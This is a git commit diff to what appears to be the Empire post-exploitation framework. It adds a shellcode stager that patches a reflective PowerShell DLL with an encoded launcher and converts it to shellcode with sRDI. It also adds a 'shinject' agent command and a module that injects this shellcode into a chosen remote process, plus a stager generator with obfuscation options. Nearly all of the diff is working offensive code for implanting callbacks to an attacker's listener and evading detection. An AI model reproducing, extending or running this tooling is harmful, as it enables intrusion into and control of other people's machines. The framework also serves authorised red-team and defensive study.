Added shellcode stager w/ sRDI project from @monogas

php_fix
xorrior 2018-03-02 00:12:41 -05:00
parent a2887fdd74
commit 320fe957d1
7 changed files with 537 additions and 0 deletions

BIN
data/misc/x64_slim.dll Executable file

Binary file not shown.

BIN
data/misc/x86_slim.dll Executable file

Binary file not shown.

193
lib/common/ShellcodeRDI.py Normal file

File diff suppressed because one or more lines are too long

View File

@ -2127,6 +2127,37 @@ class PowerShellAgentMenu(SubMenu):
print helpers.color("[!] Injection requires you to specify listener") print helpers.color("[!] Injection requires you to specify listener")
def do_shinject(self, line):
"Inject non-meterpreter listener shellcode into a remote process. Ex. shinject <listener> <pid>"
if line:
if self.mainMenu.modules.modules['powershell/management/shinject']:
module = self.mainMenu.modules.modules['powershell/management/shinject']
listenerID = line.split(' ')[0].strip()
arch = line.split(' ')[-1]
module.options['Listener']['Value'] = listenerID
module.options['Arch']['Value'] = arch
if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
if len(line.split(' ')) == 3:
target = line.split(' ')[1].strip()
if target.isdigit():
module.options['ProcId']['Value'] = target
else:
print helpers.color('[!] Please enter a valid process ID.')
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module_menu = ModuleMenu(self.mainMenu, 'powershell/management/shinject')
module_menu.do_execute("")
else:
print helpers.color('[!] Please select a valid listener')
else:
print helpers.color("[!] powershell/management/psinject module not loaded")
else:
print helpers.color("[!] Injection requires you to specify listener")
def do_injectshellcode(self, line): def do_injectshellcode(self, line):
"Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>" "Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>"
@ -2347,6 +2378,11 @@ class PowerShellAgentMenu(SubMenu):
self.mainMenu.do_creds(line) self.mainMenu.do_creds(line)
def complete_shinject(self, text, line, begidx, endidx):
"Tab-complete psinject option values."
return self.complete_psinject(text, line, begidx, endidx)
def complete_psinject(self, text, line, begidx, endidx): def complete_psinject(self, text, line, begidx, endidx):
"Tab-complete psinject option values." "Tab-complete psinject option values."

View File

@ -25,6 +25,7 @@ import shutil
import zipfile import zipfile
import subprocess import subprocess
from itertools import izip, cycle from itertools import izip, cycle
from ShellcodeRDI import *
import base64 import base64
@ -133,6 +134,39 @@ class Stagers:
else: else:
print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch)) print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
def generate_shellcode(self, poshCode, arch):
"""
Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL
"""
if arch.lower() == 'x86':
origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath)
else:
origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath)
if os.path.isfile(origPath):
dllRaw = ''
with open(origPath, 'rb') as f:
dllRaw = f.read()
replacementCode = helpers.decode_base64(poshCode)
# patch the dll with the new PowerShell code
searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
index = dllRaw.find(searchString)
dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]
flags = 0
flags |= 0x1
sc = ConvertToShellcode(dllPatched, flags=flags)
return sc
else:
print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))
def generate_macho(self, launcherCode): def generate_macho(self, launcherCode):
""" """

View File

@ -0,0 +1,152 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# Metadata info about the module, not modified during runtime
self.info = {
# Name for the module that will appear in module menus
'Name': 'Shinject',
# List of one or more authors for the module
'Author': ['@xorrior','@mattefistation','@monogas'],
# More verbose multi-line description of the module
'Description': ('Injects a PIC shellcode payload into a target process, via Invoke-Shellcode'),
# True if the module needs to run in the background
'Background': True,
# File extension to save the file as
'OutputExtension': None,
# True if the module needs admin rights to run
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# The language for this module
'Language': 'powershell',
# The minimum PowerShell version needed for the module to run
'MinLanguageVersion': '2',
# List of any references/other comments
'Comments': [
'comment',
''
]
}
# Any options needed by the module, settable during runtime
self.options = {
# Format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description': 'Agent to run the module on.',
'Required' : True,
'Value' : ''
},
'ProcId' : {
'Description' : 'ProcessID to inject into.',
'Required' : True,
'Value' : ''
},
'Arch' : {
'Description' : 'Architecture of the target process.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# Save off a copy of the mainMenu object to access external
# functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters are passed as
# an object set to the module and the options dictionary is
# automatically set. This is mostly in case options are passed on
# the command line.
if params:
for param in params:
# Parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value']
procID = self.options['ProcId']['Value'].strip()
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
arch = self.options['Arch']['Value']
moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# If you'd just like to import a subset of the functions from the
# module source, use the following:
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
script = moduleCode
scriptEnd = "; shellcode injected into pid {}".format(str(procID))
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: {}".format(listenerName))
return ''
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == '':
print helpers.color('[!] Error in launcher generation.')
return ''
else:
launcherCode = launcher.split(' ')[-1]
sc = self.mainMenu.stagers.generate_shellcode(launcherCode, arch)
encoded_sc = helpers.encode_base64(sc)
# Add any arguments to the end execution of the script
script += "\n Invoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
script += scriptEnd
return script

View File

@ -0,0 +1,122 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Shellcode Launcher',
'Author': ['@xorrior', '@monogas'],
'Description': ('Generate a windows shellcode stager'),
'Commemts': [
''
]
}
self.options = {
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'powershell'
},
'Arch' : {
'Description' : 'Architecture of the .dll to generate (x64 or x86).',
'Required' : True,
'Value' : 'x64'
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'OutFile' : {
'Description' : 'File to output dll to.',
'Required' : True,
'Value' : '/tmp/launcher.bin'
},
'Obfuscate' : {
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
'Required' : False,
'Value' : 'False'
},
'ObfuscateCommand' : {
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
'Required' : False,
'Value' : r'Token\All\1'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
listenerName = self.options['Listener']['Value']
arch = self.options['Arch']['Value']
# staging options
language = self.options['Language']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
obfuscate = self.options['Obfuscate']['Value']
obfuscateCommand = self.options['ObfuscateCommand']['Value']
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
if obfuscate.lower() == "true":
obfuscateScript = True
else:
obfuscateScript = False
if obfuscate.lower() == "true" and "launcher" in obfuscateCommand.lower():
print helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")
return ""
# generate the PowerShell one-liner with all of the proper options are set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
launcherCode = launcher.split(" ")[-1]
shellcode = self.mainMenu.stagers.generate_shellcode(launcherCode, arch)
return shellcode